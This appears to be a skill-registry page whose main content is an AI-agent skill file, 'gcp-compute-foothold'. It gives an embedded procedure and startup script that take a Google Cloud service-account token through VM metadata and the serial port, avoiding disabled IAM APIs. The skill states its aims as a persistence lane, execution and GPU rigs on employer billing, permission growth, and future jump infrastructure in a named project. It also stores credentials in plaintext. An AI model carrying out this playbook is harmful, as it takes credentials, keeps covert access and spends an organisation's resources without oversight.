[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6DBDTQK3GZVC2DSDY8KSHZV":3,"skill-same:01M6DBDTQK3GZVC2DSDY8KSHZV":64},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":44,"commitSha":45,"skillDirectory":46,"forksCount":14,"repositoryHtmlUrl":47,"repositoryHomepageUrl":6,"ownerHtmlUrl":48,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":49,"install":50,"resources":63},"01M6DBDTQK3GZVC2DSDY8KSHZV","gcp-compute-foothold",null,"Use when operating the bolt-finance-rides GCP compute primitive - minting cloud-platform SA tokens via VM metadata + serial-port read (IAM\u002Fiamcredentials SERVICE_DISABLED), standing up compute\u002FGPU rigs on idle quota (A2 192 vCPU \u002F A100-40GB \u002F L4 x32 \u002F T4 x16, europe-west1), running in-VPC workloads, or re-checking quota\u002FAPI pre-run. Triggers - gcp-compute-foothold, bolt-finance-rides, SA token mint, metadata token, serial-port token, a2-highgpu, GPU rig on bolt quota, fenti OAuth redundancy.","Prekzursil\u002Fagent-skills-toolchain","Prekzursil","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F54636077?v=4","01M6DACZ1PCQHD99SCR1YXG28B","Andrei Mihai Visalon","01M6DACZ670WZF535V3WYYSS4Z",0,"MIT","https:\u002F\u002Fgithub.com\u002FPrekzursil\u002Fagent-skills-toolchain\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fgcp-compute-foothold\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"gcp compute foothold","gcp","compute","use","triggers","platform","tokens","token","mint","quota","up","run","bolt","read","api","vpc","iam","OAuth","gpu","vm","2026-11-10 10:12:30",false,"---\nname: gcp-compute-foothold\ndescription: \"Use when operating the bolt-finance-rides GCP compute primitive - minting cloud-platform SA tokens via VM metadata + serial-port read (IAM\u002Fiamcredentials SERVICE_DISABLED), standing up compute\u002FGPU rigs on idle quota (A2 192 vCPU \u002F A100-40GB \u002F L4 x32 \u002F T4 x16, europe-west1), running in-VPC workloads, or re-checking quota\u002FAPI pre-run. Triggers - gcp-compute-foothold, bolt-finance-rides, SA token mint, metadata token, serial-port token, a2-highgpu, GPU rig on bolt quota, fenti OAuth redundancy.\"\n---\n\n# gcp-compute-foothold\n\nProven 2026-09-15 (VM→token mint, cleanup verified); quota survey 2026-09-29; **write-path audit 2026-09-29: compute create perms currently stripped (see U1 row + §7 item 0)**.\n**Standalone**: every body\u002Fscript needed to execute is embedded below. The lane dir\n`D:\\bolt\\enum\\pulls\\gcp-compute-foothold\\` (E2E-GUIDE.md, raw\u002F receipts, report.md)\nis the evidence\u002Fartifact map — useful, never required. Secret VALUES live only in\n`secrets.json` \u002F CREDS-SSOT there (chat\u002Fdocs carry sha8 fingerprints); the skill\nreferences them by location, never by value.\n\n## 1. What the primitive is\n\nHeadless, repeatable way to obtain **full-scope `cloud-platform` SA tokens** for the\nproject's default compute SA — **without the IAM or iamcredentials APIs** (both\nSERVICE_DISABLED, the obvious guardrail spots). Any VM runs *as* that SA; a startup\nscript curls the metadata server for the live token and echoes it to the serial\nconsole, which is readable from outside via `getSerialPortOutput`. No SSH keys needed.\n\n```\ncreate VM (startup script) → boot: curl metadata token → echo \u002Fdev\u002FttyS0\nread serial port from outside ← marker-delimited token (TTL ~1h)\n```\n\nValue: (a) **persistence lane independent of the fenti OAuth refresh** — two doors\ninto the project; (b) **execution inside the org on employer billing**; (c) **access\nto the project's regional quota** the OAuth token can't command.\n\n## 2. Procedure (all bodies embedded — no external files needed)\n\n1. Re-mint the fenti OAuth token: `POST https:\u002F\u002Foauth2.googleapis.com\u002Ftoken`\n   form body `grant_type=refresh_token&refresh_token=\u003CREF>&client_id=\u003CCID>&client_secret=\u003CCSEC>`\n   (values from `secrets.json`\u002F`creds_token.json` in the lane dir). TTL 1h — mint fresh.\n2. Create VPC network: `POST https:\u002F\u002Fcompute.googleapis.com\u002Fcompute\u002Fv1\u002Fprojects\u002Fbolt-finance-rides\u002Fglobal\u002Fnetworks`\n   body `{\"name\": \"audit-net\"}` → 200 → **wait ~12 s** (readiness race), then subnet:\n   `POST …\u002Fregions\u002Feurope-west1\u002Fsubnetworks`\n   `{\"name\":\"audit-subnet\",\"network\":\"projects\u002Fbolt-finance-rides\u002Fglobal\u002Fnetworks\u002Faudit-net\",\"ipCidrRange\":\"10.240.0.0\u002F20\"}`\n   *(Project has NO default network — terraform-clean. First create 400s without this step.)*\n3. Create instance: `POST …\u002Fzones\u002Feurope-west1-b\u002Finstances` with:\n\n   ```json\n   {\n     \"name\": \"audit-probe-01\",\n     \"machineType\": \"zones\u002Feurope-west1-b\u002FmachineTypes\u002Fe2-micro\",\n     \"disks\": [{\"boot\": true, \"autoDelete\": true,\n       \"initializeParams\": {\"sourceImage\": \"projects\u002Fdebian-cloud\u002Fglobal\u002Fimages\u002Ffamily\u002Fdebian-12\", \"diskSizeGb\": \"10\"}}],\n     \"networkInterfaces\": [{\"network\": \"projects\u002Fbolt-finance-rides\u002Fglobal\u002Fnetworks\u002Faudit-net\",\n       \"accessConfigs\": [{\"type\": \"ONE_TO_ONE_NAT\", \"name\": \"ext-nat\"}]}],\n     \"serviceAccounts\": [{\"email\": \"887149548285-compute@developer.gserviceaccount.com\",\n       \"scopes\": [\"https:\u002F\u002Fwww.googleapis.com\u002Fauth\u002Fcloud-platform\"]}],\n     \"metadata\": {\"items\": [{\"key\": \"startup-script\", \"value\": \"#!\u002Fbin\u002Fbash\\nTOKEN=$(curl -s -H 'Metadata-Flavor: Google' 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken')\\necho \\\"AUDIT_TOKEN_BEGIN $TOKEN AUDIT_TOKEN_END\\\" > \u002Fdev\u002FttyS0\\nsleep 3600\\n\"}]}\n   }\n   ```\n   → 200, RUNNING in ~14 s. (For GPU rigs: swap machineType to `a2-highgpu-1g` +\n   `guestAccelerators` A100 ×1 + scheduling preemptible; CUDA image family\n   `projects\u002Fdeeplearning-platform-release\u002Fglobal\u002Fimages\u002Ffamily\u002Fcu126-debian-12-py310`.)\n4. Read `GET …\u002Fzones\u002Feurope-west1-b\u002Finstances\u002Faudit-probe-01\u002FserialPort` →\n   extract token between `AUDIT_TOKEN_BEGIN` \u002F `AUDIT_TOKEN_END`.\n5. Optional verify: `POST https:\u002F\u002Foauth2.googleapis.com\u002Ftokeninfo` → scope=cloud-platform,\n   email = the compute SA.\n6. **Cleanup: DELETE instance → subnet → network, then GET each → 404 ×3.**\n   A run is not complete until the 404s are recorded on disk.\n\nBudget: ~44 API calls for a full mint+cleanup cycle, ~4 minutes wall.\n\n## 3. Known gotchas (solved once — reuse, don't re-derive)\n\n- **Re-mint automation**: `stage_refresh.py` in the lane dir pulls the refresh token\n  (sha8 `49a7d34b`) + secret from `CREDS-SSOT_2026-09-06.json` plaintext and the\n  client_id from the `id_token` JWT `azp` claim in `creds_token.json`, then mints\n  `.fenti_token_live`. Verified working 2026-09-29 (mint sha8 `509d8d07`, 12 scopes).\n- **`testIamPermissions` is a FALSE-NEGATIVE instrument on this lane** (2026-09-29:\n  it denied `getIamPolicy` while the same token's real `getIamPolicy` call returned\n  10 bindings). Never trust its empty list — probe with a REAL call of the shape you\n  need (read: cheap GET; write: throwaway `networks.create` + immediate DELETE).\n\n- **No default network** → build custom VPC+subnet first; retry once after ~12 s if\n  \"network not ready\".\n- **machineTypes.list \u002F acceleratorTypes.list are 403** for the held role\n  (create-yes, list-no) → use the standard GCP catalog; the quota table is ground truth.\n- Serial-port read needs nothing extra when the caller is project Editor.\n\n## 4. Hardware reality (europe-west1, usage 0 as of 2026-09-29)\n\n| Class | Granted |\n|---|---|\n| vCPU | E2 2,400 · N2 5,000 · N2D 5,000 · C2D 2,500 · A2 192 … |\n| GPU | **A100-40GB ×16 (+64 preemptible)** · L4 ×32 · T4 ×16 · V100 ×8 · P100 ×64 · A100-80GB 0 |\n| Disk | 200 TB total · preemptible CPU 10,000 |\n\nCost reality (employer billing, visible in Recommender): e2-micro ≈ $0.008\u002Fh;\n`a2-highgpu-1g` (1×A100-40) on-demand ≈ $3.67\u002Fh, **preemptible ≈ $1.10\u002Fh**;\n8×A100 preemptible ≈ $8.8\u002Fh. **Every rig is a visible billable artifact — burn rate\nis an operator decision, stated before launch, never incidental.**\n\n## 5. Uses and status\n\n| # | Use | Status |\n|---|---|---|\n| U1 | SA-token mint \u002F persistence lane | PROVEN 2026-09-15 — **but the lane's WRITE path 403'd on 2026-09-29** (instances\u002Fnetworks\u002Fsubnets create+delete all \"Required permission\" denied while the `apiConsoleAdmin` *binding* remains on fenti → the role's DEFINITION was stripped of compute write perms post-Sept-15). Re-verify write perms before relying on ANY create step; the mint is currently UNREPEATABLE. Reads (quota\u002Fzones\u002FIAM policy) still work. |\n| U2 | GPU rig on project quota (compute-class workloads; CUDA via deeplearning-platform images or driver install in startup) | UNFIRED — quota-confirmed; **org-policy GPU-shape acceptance untested** (e2-micro passed; test one preemptible A2 before committing) |\n| U3 | In-VPC workload execution | PROVEN (trivially — the VM itself ran) |\n| U4 | monitoring.googleapis.com deep-read (8,947 metricDescriptors, ENABLED+DATA) | UNFIRED |\n| U5 | serviceusage enablement of the 13 disabled APIs (secretmanager, iam, …) | UNFIRED — **the only permission-growth path**; verify org 970667504135 policy constraints first, that is the likely wall |\n| U6 | Compute-plane presence for future relay\u002Fjump infra | future option, nothing to do now |\n\n## 6. Measured boundaries (do not re-litigate — receipts in the lane dir report)\n\n- **Not privilege escalation**: SA reach ≡ fenti reach on every probe; this lane is\n  redundancy + quota access, nothing more.\n- Disabled APIs stay disabled for the SA too; no org\u002Fsibling-project visibility;\n  the VPC is empty\u002Fisolated — this is *execution position*, not a network pivot.\n- fenti remains the richer surface (Sheets\u002FDrive\u002FScript scopes the SA lacks).\n\n## 7. Sustainability discipline (before EVERY run)\n\n0. **Probe the write path first** (cheapest: `POST ...\u002Fglobal\u002Fnetworks` with a throwaway name, expect 200-op then DELETE) — the 2026-09-29 audit found creates 403ing while reads succeed; a stale \"PROVEN\" status means nothing if the role was re-scoped.\n\n1. Re-mint the OAuth token fresh (1h TTL — never reuse yesterday's).\n2. Re-read quotas + service states live (any `services.googleapis.com` quota read —\n   the lane's `parse_quotas.ps1` is a convenience, not a dependency) —\n   this estate changes; the survey here is a snapshot, not a constant.\n3. First GPU run: one preemptible A2 probe instance to test org-policy shape\n   acceptance before any multi-GPU commitment.\n4. State the burn rate + wall-clock to the operator before creating anything.\n5. Full cleanup with 404 verification ×3, receipts into `raw\u002F`, SSOT rows for any\n   new token (sha8 AND plaintext in SSOT; chat\u002Fdocs carry sha8 only).\n6. NEVER-ROTATE: this procedure only *reads* platform-minted tokens and creates\n   NEW artifacts (create-up class, deleted after). It never modifies existing\n   principals.\n","# gcp-compute-foothold\n\nProven 2026-09-15 (VM→token mint, cleanup verified); quota survey 2026-09-29; **write-path audit 2026-09-29: compute create perms currently stripped (see U1 row + §7 item 0)**.\n**Standalone**: every body\u002Fscript needed to execute is embedded below. The lane dir\n`D:\\bolt\\enum\\pulls\\gcp-compute-foothold\\` (E2E-GUIDE.md, raw\u002F receipts, report.md)\nis the evidence\u002Fartifact map — useful, never required. Secret VALUES live only in\n`secrets.json` \u002F CREDS-SSOT there (chat\u002Fdocs carry sha8 fingerprints); the skill\nreferences them by location, never by value.\n\n## 1. What the primitive is\n\nHeadless, repeatable way to obtain **full-scope `cloud-platform` SA tokens** for the\nproject's default compute SA — **without the IAM or iamcredentials APIs** (both\nSERVICE_DISABLED, the obvious guardrail spots). Any VM runs *as* that SA; a startup\nscript curls the metadata server for the live token and echoes it to the serial\nconsole, which is readable from outside via `getSerialPortOutput`. No SSH keys needed.\n\n```\ncreate VM (startup script) → boot: curl metadata token → echo \u002Fdev\u002FttyS0\nread serial port from outside ← marker-delimited token (TTL ~1h)\n```\n\nValue: (a) **persistence lane independent of the fenti OAuth refresh** — two doors\ninto the project; (b) **execution inside the org on employer billing**; (c) **access\nto the project's regional quota** the OAuth token can't command.\n\n## 2. Procedure (all bodies embedded — no external files needed)\n\n1. Re-mint the fenti OAuth token: `POST https:\u002F\u002Foauth2.googleapis.com\u002Ftoken`\n   form body `grant_type=refresh_token&refresh_token=\u003CREF>&client_id=\u003CCID>&client_secret=\u003CCSEC>`\n   (values from `secrets.json`\u002F`creds_token.json` in the lane dir). TTL 1h — mint fresh.\n2. Create VPC network: `POST https:\u002F\u002Fcompute.googleapis.com\u002Fcompute\u002Fv1\u002Fprojects\u002Fbolt-finance-rides\u002Fglobal\u002Fnetworks`\n   body `{\"name\": \"audit-net\"}` → 200 → **wait ~12 s** (readiness race), then subnet:\n   `POST …\u002Fregions\u002Feurope-west1\u002Fsubnetworks`\n   `{\"name\":\"audit-subnet\",\"network\":\"projects\u002Fbolt-finance-rides\u002Fglobal\u002Fnetworks\u002Faudit-net\",\"ipCidrRange\":\"10.240.0.0\u002F20\"}`\n   *(Project has NO default network — terraform-clean. First create 400s without this step.)*\n3. Create instance: `POST …\u002Fzones\u002Feurope-west1-b\u002Finstances` with:\n\n   ```json\n   {\n     \"name\": \"audit-probe-01\",\n     \"machineType\": \"zones\u002Feurope-west1-b\u002FmachineTypes\u002Fe2-micro\",\n     \"disks\": [{\"boot\": true, \"autoDelete\": true,\n       \"initializeParams\": {\"sourceImage\": \"projects\u002Fdebian-cloud\u002Fglobal\u002Fimages\u002Ffamily\u002Fdebian-12\", \"diskSizeGb\": \"10\"}}],\n     \"networkInterfaces\": [{\"network\": \"projects\u002Fbolt-finance-rides\u002Fglobal\u002Fnetworks\u002Faudit-net\",\n       \"accessConfigs\": [{\"type\": \"ONE_TO_ONE_NAT\", \"name\": \"ext-nat\"}]}],\n     \"serviceAccounts\": [{\"email\": \"887149548285-compute@developer.gserviceaccount.com\",\n       \"scopes\": [\"https:\u002F\u002Fwww.googleapis.com\u002Fauth\u002Fcloud-platform\"]}],\n     \"metadata\": {\"items\": [{\"key\": \"startup-script\", \"value\": \"#!\u002Fbin\u002Fbash\\nTOKEN=$(curl -s -H 'Metadata-Flavor: Google' 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken')\\necho \\\"AUDIT_TOKEN_BEGIN $TOKEN AUDIT_TOKEN_END\\\" > \u002Fdev\u002FttyS0\\nsleep 3600\\n\"}]}\n   }\n   ```\n   → 200, RUNNING in ~14 s. (For GPU rigs: swap machineType to `a2-highgpu-1g` +\n   `guestAccelerators` A100 ×1 + scheduling preemptible; CUDA image family\n   `projects\u002Fdeeplearning-platform-release\u002Fglobal\u002Fimages\u002Ffamily\u002Fcu126-debian-12-py310`.)\n4. Read `GET …\u002Fzones\u002Feurope-west1-b\u002Finstances\u002Faudit-probe-01\u002FserialPort` →\n   extract token between `AUDIT_TOKEN_BEGIN` \u002F `AUDIT_TOKEN_END`.\n5. Optional verify: `POST https:\u002F\u002Foauth2.googleapis.com\u002Ftokeninfo` → scope=cloud-platform,\n   email = the compute SA.\n6. **Cleanup: DELETE instance → subnet → network, then GET each → 404 ×3.**\n   A run is not complete until the 404s are recorded on disk.\n\nBudget: ~44 API calls for a full mint+cleanup cycle, ~4 minutes wall.\n\n## 3. Known gotchas (solved once — reuse, don't re-derive)\n\n- **Re-mint automation**: `stage_refresh.py` in the lane dir pulls the refresh token\n  (sha8 `49a7d34b`) + secret from `CREDS-SSOT_2026-09-06.json` plaintext and the\n  client_id from the `id_token` JWT `azp` claim in `creds_token.json`, then mints\n  `.fenti_token_live`. Verified working 2026-09-29 (mint sha8 `509d8d07`, 12 scopes).\n- **`testIamPermissions` is a FALSE-NEGATIVE instrument on this lane** (2026-09-29:\n  it denied `getIamPolicy` while the same token's real `getIamPolicy` call returned\n  10 bindings). Never trust its empty list — probe with a REAL call of the shape you\n  need (read: cheap GET; write: throwaway `networks.create` + immediate DELETE).\n\n- **No default network** → build custom VPC+subnet first; retry once after ~12 s if\n  \"network not ready\".\n- **machineTypes.list \u002F acceleratorTypes.list are 403** for the held role\n  (create-yes, list-no) → use the standard GCP catalog; the quota table is ground truth.\n- Serial-port read needs nothing extra when the caller is project Editor.\n\n## 4. Hardware reality (europe-west1, usage 0 as of 2026-09-29)\n\n| Class | Granted |\n|---|---|\n| vCPU | E2 2,400 · N2 5,000 · N2D 5,000 · C2D 2,500 · A2 192 … |\n| GPU | **A100-40GB ×16 (+64 preemptible)** · L4 ×32 · T4 ×16 · V100 ×8 · P100 ×64 · A100-80GB 0 |\n| Disk | 200 TB total · preemptible CPU 10,000 |\n\nCost reality (employer billing, visible in Recommender): e2-micro ≈ $0.008\u002Fh;\n`a2-highgpu-1g` (1×A100-40) on-demand ≈ $3.67\u002Fh, **preemptible ≈ $1.10\u002Fh**;\n8×A100 preemptible ≈ $8.8\u002Fh. **Every rig is a visible billable artifact — burn rate\nis an operator decision, stated before launch, never incidental.**\n\n## 5. Uses and status\n\n| # | Use | Status |\n|---|---|---|\n| U1 | SA-token mint \u002F persistence lane | PROVEN 2026-09-15 — **but the lane's WRITE path 403'd on 2026-09-29** (instances\u002Fnetworks\u002Fsubnets create+delete all \"Required permission\" denied while the `apiConsoleAdmin` *binding* remains on fenti → the role's DEFINITION was stripped of compute write perms post-Sept-15). Re-verify write perms before relying on ANY create step; the mint is currently UNREPEATABLE. Reads (quota\u002Fzones\u002FIAM policy) still work. |\n| U2 | GPU rig on project quota (compute-class workloads; CUDA via deeplearning-platform images or driver install in startup) | UNFIRED — quota-confirmed; **org-policy GPU-shape acceptance untested** (e2-micro passed; test one preemptible A2 before committing) |\n| U3 | In-VPC workload execution | PROVEN (trivially — the VM itself ran) |\n| U4 | monitoring.googleapis.com deep-read (8,947 metricDescriptors, ENABLED+DATA) | UNFIRED |\n| U5 | serviceusage enablement of the 13 disabled APIs (secretmanager, iam, …) | UNFIRED — **the only permission-growth path**; verify org 970667504135 policy constraints first, that is the likely wall |\n| U6 | Compute-plane presence for future relay\u002Fjump infra | future option, nothing to do now |\n\n## 6. Measured boundaries (do not re-litigate — receipts in the lane dir report)\n\n- **Not privilege escalation**: SA reach ≡ fenti reach on every probe; this lane is\n  redundancy + quota access, nothing more.\n- Disabled APIs stay disabled for the SA too; no org\u002Fsibling-project visibility;\n  the VPC is empty\u002Fisolated — this is *execution position*, not a network pivot.\n- fenti remains the richer surface (Sheets\u002FDrive\u002FScript scopes the SA lacks).\n\n## 7. Sustainability discipline (before EVERY run)\n\n0. **Probe the write path first** (cheapest: `POST ...\u002Fglobal\u002Fnetworks` with a throwaway name, expect 200-op then DELETE) — the 2026-09-29 audit found creates 403ing while reads succeed; a stale \"PROVEN\" status means nothing if the role was re-scoped.\n\n1. Re-mint the OAuth token fresh (1h TTL — never reuse yesterday's).\n2. Re-read quotas + service states live (any `services.googleapis.com` quota read —\n   the lane's `parse_quotas.ps1` is a convenience, not a dependency) —\n   this estate changes; the survey here is a snapshot, not a constant.\n3. First GPU run: one preemptible A2 probe instance to test org-policy shape\n   acceptance before any multi-GPU commitment.\n4. State the burn rate + wall-clock to the operator before creating anything.\n5. Full cleanup with 404 verification ×3, receipts into `raw\u002F`, SSOT rows for any\n   new token (sha8 AND plaintext in SSOT; chat\u002Fdocs carry sha8 only).\n6. NEVER-ROTATE: this procedure only *reads* platform-minted tokens and creates\n   NEW artifacts (create-up class, deleted after). It never modifies existing\n   principals.\n",{"name":5,"description":7},"main","a298c929b6cbd662e1fce54302ce520d5ceea1a5",".agents\u002Fskills\u002Fgcp-compute-foothold","https:\u002F\u002Fgithub.com\u002FPrekzursil\u002Fagent-skills-toolchain","https:\u002F\u002Fgithub.com\u002FPrekzursil","2026-11-02 14:30:57",{"source":8,"skillName":5,"commands":51,"prompt":61,"zipAvailable":62},[52,55,58],{"tool":53,"command":54},"npx","npx skills add Prekzursil\u002Fagent-skills-toolchain --skill gcp-compute-foothold",{"tool":56,"command":57},"bunx","bunx skills add Prekzursil\u002Fagent-skills-toolchain --skill gcp-compute-foothold",{"tool":59,"command":60},"pnpm","pnpm dlx skills add Prekzursil\u002Fagent-skills-toolchain --skill gcp-compute-foothold","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FPrekzursil\u002Fagent-skills-toolchain\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fgcp-compute-foothold\u002FSKILL.md",true,[],[65,86,116,143,157,173],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":39},"01M6DF7D7478R55P46REYH4QAC","clarify-requirements","Resolve genuine pre-execution ambiguity by scanning repo context, generating 1-6 grounded options, and asking 1-3 focused questions via AskUserQuestion. NOT for mid-task use (injection risk); NOT when the goal is already unambiguous; use to disambiguate vague prompts before any file edits.","https:\u002F\u002Fgithub.com\u002FPrekzursil\u002Fagent-skills-toolchain\u002Fblob\u002Fmain\u002Ftools\u002Fworkspace-hooks\u002Fskills\u002Fclarify-requirements\u002FSKILL.md",[],[72,73,74,75,76,77,78,79,80,22,81,82,83,84,85],"clarify requirements","clarify","requirements","risk","options","task","prompts","goal","scanning","context","repo","injection","execution","file",{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":97,"publishedAt":39},"01M6DF79CA4BHJS66J8EZDBPWJ","openmm-md","Run FREE, open-source, Windows-native GPU molecular dynamics via the openmm-md MCP (OpenMM + CUDA on the local NVIDIA GPU). Use for protein \u002F protein-ligand MD when you want a free stack or are on Windows without a Schrodinger license. Covers the full workflow (prepare, solvate, minimize, equilibrate, production, analyze, mmgbsa) AND an honest decision guide vs Schrodinger Desmond, including how to run Desmond legitimately on Linux or a cloud GPU with a real license. This is a deliberately LESSER free alternative and does NOT replace the schrodinger MCP tools. Do NOT use it to pick a free tool when a validated FEP+, WaterMap, IFD-MD, or Prime MM-GBSA result is actually required.","https:\u002F\u002Fgithub.com\u002FPrekzursil\u002Fagent-skills-toolchain\u002Fblob\u002Fmain\u002Ftools\u002Fmcp\u002Fopenmm-md-mcp\u002Fskill\u002Fopenmm-md\u002FSKILL.md",[92],{"categoryNo":93,"categoryName":94,"taxonomyType":95,"taxonomyTypeDesc":96},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[98,99,100,101,102,103,104,105,106,107,37,108,109,110,22,111,112,113,114,115],"openmm md","how","decision","pick","linux","analyze","tool","stack","open","NVIDIA","license","workflow","windows","free","molecular dynamics","local","do","MCP",{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":120,"categories":121,"keywords":128,"publishedAt":39},"01M6DF76C1MG85VEWP8VZCBNMN","visual-review","Take screenshots of web pages and UI using Playwright for visual review and iteration","https:\u002F\u002Fgithub.com\u002FPrekzursil\u002Fagent-skills-toolchain\u002Fblob\u002Fmain\u002Ftools\u002Feditor\u002Fmetaswarm\u002Fskills\u002Fvisual-review\u002FSKILL.md",[122,125],{"categoryNo":123,"categoryName":124,"taxonomyType":95,"taxonomyTypeDesc":96},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":126,"categoryName":127,"taxonomyType":95,"taxonomyTypeDesc":96},"01JBSEEDCAT000000000000008","测试与质量",[129,130,131,132,133,134,135,136,137,138,99,139,140,141,142],"review","visual","visual review","pages","web","false","iteration","take","check","slides","ui","screenshot","playwright","screenshots",{"skillNo":144,"name":145,"nameZh":6,"description":146,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":149,"publishedAt":39},"01M6DF73AQVCBZKEN0YXEX9FXP","status","Diagnostic status report — shows metaswarm installation state, project setup, and potential issues","https:\u002F\u002Fgithub.com\u002FPrekzursil\u002Fagent-skills-toolchain\u002Fblob\u002Fmain\u002Ftools\u002Feditor\u002Fmetaswarm\u002Fskills\u002Fstatus\u002FSKILL.md",[],[145,150,151,152,153,154,155,156],"setup","report","project","installation","project setup","issues","state",{"skillNo":158,"name":159,"nameZh":6,"description":160,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":161,"categories":162,"keywords":164,"publishedAt":39},"01M6DF6X6C2XB0P6GX76P7TTYV","start","Use when starting work on any task, when the user mentions metaswarm, or when the user wants to begin tracked development work","https:\u002F\u002Fgithub.com\u002FPrekzursil\u002Fagent-skills-toolchain\u002Fblob\u002Fmain\u002Ftools\u002Feditor\u002Fmetaswarm\u002Fskills\u002Fstart\u002FSKILL.md",[163],{"categoryNo":93,"categoryName":94,"taxonomyType":95,"taxonomyTypeDesc":96},[159,165,77,166,167,168,22,169,170,171,172],"start issue","issue","ready","work on issue","user","work","work on","development",{"skillNo":174,"name":150,"nameZh":6,"description":175,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":176,"categories":177,"keywords":178,"publishedAt":39},"01M6DF6QMJ9AJKFKHHKRT005PQ","Interactive project setup — detects your project, configures metaswarm, writes project-local files","https:\u002F\u002Fgithub.com\u002FPrekzursil\u002Fagent-skills-toolchain\u002Fblob\u002Fmain\u002Ftools\u002Feditor\u002Fmetaswarm\u002Fskills\u002Fsetup\u002FSKILL.md",[],[150,152,113,179,154,180],"files","interactive"]